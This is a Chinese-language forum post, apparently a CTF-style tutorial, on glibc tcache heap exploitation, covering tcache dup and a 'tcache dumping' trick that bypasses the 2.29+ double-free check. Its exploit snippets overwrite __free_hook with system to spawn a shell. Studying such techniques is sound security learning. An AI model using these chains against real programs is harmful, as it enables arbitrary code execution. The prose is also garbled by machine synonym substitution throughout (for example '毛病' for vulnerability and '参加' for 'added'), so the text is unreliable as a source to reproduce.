|
tcache
tcache的全称是thread local cache,是glibc中性能优化的一种方式,但是tcache实现中引入了一些新的安全问题,导致对于堆的毛病利用甚至更简单了起来。
这个机制的目标是借鉴了jemalloc中的magazine,目标是缓解不同线程之间在堆分配时的资源竞争
glibc中为了防止线程之间共用堆导致出现问题,在每一个线程调用malloc时都会创建一个新的arena
但是这个arena的数量是有限定的,如果超过了历程分配的处理器核数,更多的线程就须要共享堆了,进而由于线程同步相关问题增加了锁,这就导致一部门的线程在运行时可能须要壅闭,等待其他的线程用完堆之后才能利用
tcache就是为了对这种情况进行优化而引入的(GLIBC2.26及更新的版本),每一个线程会有一个tcache,free的内容会被link到tcache中,而不是直接link到arena中
利用一个简单的例子来演示一下,程序的libc是开启了tcache的glibc2.28
a = malloc(0x18);b = malloc(0x18);直接malloc两次0x20的chunk,在gdb中查看

发如今程序一开始有一个大小0x250的chunk
之后才是我们申请的两个0x20大小的chunk
执行free(a)可以看到

这里有三个地方发生了变化,首先是我们申请的chunk被参加到了tcachebin中
上面0x251的地区中增加了一个指向free掉位置的指针,以及一个1

这里堆最开始就是Tcache,Tcache的结构是这样两部门
首先是Counts,大小是0x40,每一个项是一个字节(GLIBC2.26-2.29中是一字节,2.30以上是二字节),表示一个大小的chunk的数量;
之后是Entries,每一项是一个字大小(64位系统是8字节)
因此如果tcache大小为0x250,那么说明GLIBC版本在2.26到2.29之间;如果tcache大小是0x290,那么GLIBC版本在2.30以上;
超过了0x410的chunk在free掉的时间就会直接放到unsortedbin中了
tcache dup
接下来介绍tcache dup,是tcache的double free

这个程序的功能也和之前类似是一个典型的菜单

程序的毛病是free掉一个已有的chunk之后没有将指针清零
这导致程序存在double free的毛病;
并且由于tcache的存在,直接free掉一个chunk两次就可以得到一个重叠的空间
chunk_A = malloc(0x18, "aaaa")free(chunk_A)free(chunk_A)malloc(0x18,p64(elf.sym.target))malloc(0x18,'aaaa')malloc(0x18,"Much Win\x00")任意地址写的方法就这样很简单的完成了
tcache dup的利用属于很简单了,类似于fastbin dup,但是检查的字段还更少
获取代码执行能力也很简单,直接修改free_hook为system即可
chunk_A = malloc(0x18,"aaaa")free(chunk_A)free(chunk_A)malloc(0x18, p64(libc.sym.__free_hook))binsh = (0x18, "/bin/sh\x00")malloc(0x18, p64(libc.sym.system))free(binsh)运行效果

tcache dumping
前一节涉及到的tcache dup在glibc2.29中得到了修复
首先试一下glibc 2.31链接的程序中tcache dup是否还有效
直接简单的尝试double free
chunk_A = malloc(0x18, "aaaa")free(chunk_A)free(chunk_A)但是程序出现了报错,输出了
free(): double free detected in tcache 2这样的结果,那么尝试一下像fastbin dup中的方法
chunk_A = malloc(0x18, "AAAA")chunk_B = malloc(0x18, "BBBB")free(chunk_A)free(chunk_B)free(chunk_A)这样执行仍旧会报这样的错误,那么具体查看一下产生报错的缘故原由
查看gdb中的__int_free函数中具体报错的代码

发现这里比力的是一个e->key==tcache
e指的是要被free的目标chunk,比力的是要被free的chunk的key字段和tcache的地址
关于这个key字段,可以看一下free掉之后tcache中的bins

可以看到其中user data的第一个字段是fd
之后紧接着的一个值0x603010就是这个key字段

在glibc 2.29之后的版本,在被free到tcachebin之后第二个qword就会被设置为key,指向tcache被写入的位置
这个key就是一种标志,表示这个chunk已经被free掉了,用于避免double free
不过实际上malloc也并不是完全确定这个位置指向了tcache就一定是一个free的,因为这也有可能存在随机的数据恰好指向tcache的情况,因此源代码中也须要再检查一下

这里的代码接下来遍历了tcache的所有项,如果tcache中已经存在了这个要被free掉的目标,就报错,否则才能正常free掉
for (tmp = tcache->entries[tc_idx];tmp;tmp=tmp->next) if(tmp == e) malloc_printerr("free(): double free detected in tcache 2");这里是用一个glibc 2.31版本链接的demo做一 下测试

链接到的版本是2.31版本,为了进一步理解tcache,这里再分析一个demo

首先申请14个大小为0x18的chunk
之后将这14个chunk全部free掉,下断点断在第13行

这时可以发现前7个chunk被放入到了tcachebin中
之后的7个就是正常放在大小为0x20的fastbin中
这里这个7到底是哪里决定的呢?在gdb中输入mp查看这个结构的值
可以看到mp结构中有一项tcache_count,这个值就是决定了tcache每一个大小允许的数量

接下来继续执行,程序又malloc了7次,这个过程优先将tcache的内容申请出来,也就是说tcache被清空,而fastbin还是有7项

接下来如果再申请一次会发生什么呢?

发现fastbin[0]被拿出来用于这一次的申请,剩下的所有fastbin全部都被参加到了tcache中
这个过程就是tcache dumping
这一机制存在的缘故原由可以理解为,堆管理器发现这个线程很频繁的须要这个大小的空间,为了淘汰频繁检查的消耗,干脆直接把现在内存里这个大小的fastbin都划给这个线程得了,于是一股脑将剩余的fastbin都先参加到tcache中
这里有一个地方须要注意,fastbin中fd指向的是chunk的metadata开始位置,而tcache的next字段指向的是userdata部门;
那么总结一下,只有将tcache填满之后才会申请的内容就会放入常规的bins;而在tcache为空时申请一次fastbin会将这个fastbin中的剩余项都参加到tcache中
回到这个2.31版本的tcache_dup,在这个2.31版本的例子中检查了e->key==tcache导致无法绕过double free的检查
而只有通过直接free到tcache时才会颠末这条检查,如果是将tcache填满之后从fastbin移动到tcachebin就不会再颠末这个检查
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)首先填满tcache之后,再free掉一个同样大小的chunk,根据前面demo的实验我们知道这个dup应该是常规的放入到fastbin中
这之后将tcache中的chunk都申请出来,因为tcache机制本身就是为了方便各个线程有一块本身的堆,tcache的内容会比fastbin的内容优先申请出来
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')在这个状态下再次free(dup)
虽然会检查e->key==tcache,但是由于dup这个chunk之前是被free到了fastbin中,并没有设置key这个字段,因此可以绕过这一检查,最终使得dup同时被参加到了tcachebin和fastbin中

这之后先再申请一次,修改掉fd指针
malloc(0x18, p64(elf.sym.target))看到这时fastbin的fd酿成了0x602010,即target的位置

由于这时用到的是glibc的2.31版本,已经对fastbin_dup这样的问题做了检查,增加了针对fastbin size字段的检查,类似于在高版本House of Rabbit中看到的内容
以是这时我们没办法简单的利用fastbin dup,这就是须要tcache dumping的地方了
这时tcache为空,fastbin中有两项
再申请一次,这个操作首先会将0x603370位置的fastbin用于满足这次的申请,另外会将接下来的fastbin——即我们伪造link到fastbin上的target——参加到tcache中
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target))# 触发tcache dumpingmalloc(0x18, 'aaaa')这时查看内存,发现好像和我们想象中不太一样

这时可以控制的内存恰好是target下面的空间,有一个0x10的偏移,以是须要修改一下伪造fd时的值,那么设置成-0x10呢?
malloc(0x18, p64(elf.sym.target-0x10))这时也有一些问题,因为target值的部门恰好会被当成fastbin的fd来解析,在触发tcache dumping的过程中会尝试去这个不可读写的地址继续将其参加到tcache中
以是这里须要再向前面减8
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target-0x18))# 触发tcache dumpingmalloc(0x18, 'aaaa')malloc(0x18, p64(0)+b"Much Win\x00")完成了任意地址写,接下来利用类似的方法完成任意代码执行就很轻松了,直接修改__free_hook
由于__free_hook本身没有值,不会被解析为fastbin的fd,这次就不须要再向前偏移8了
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(libc.sym.__free_hook-0x10))binsh = malloc(0x18, '/bin/sh\x00')malloc(0x18, p64(libc.sym.system))free(binsh)运行之后就可以得到shell

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|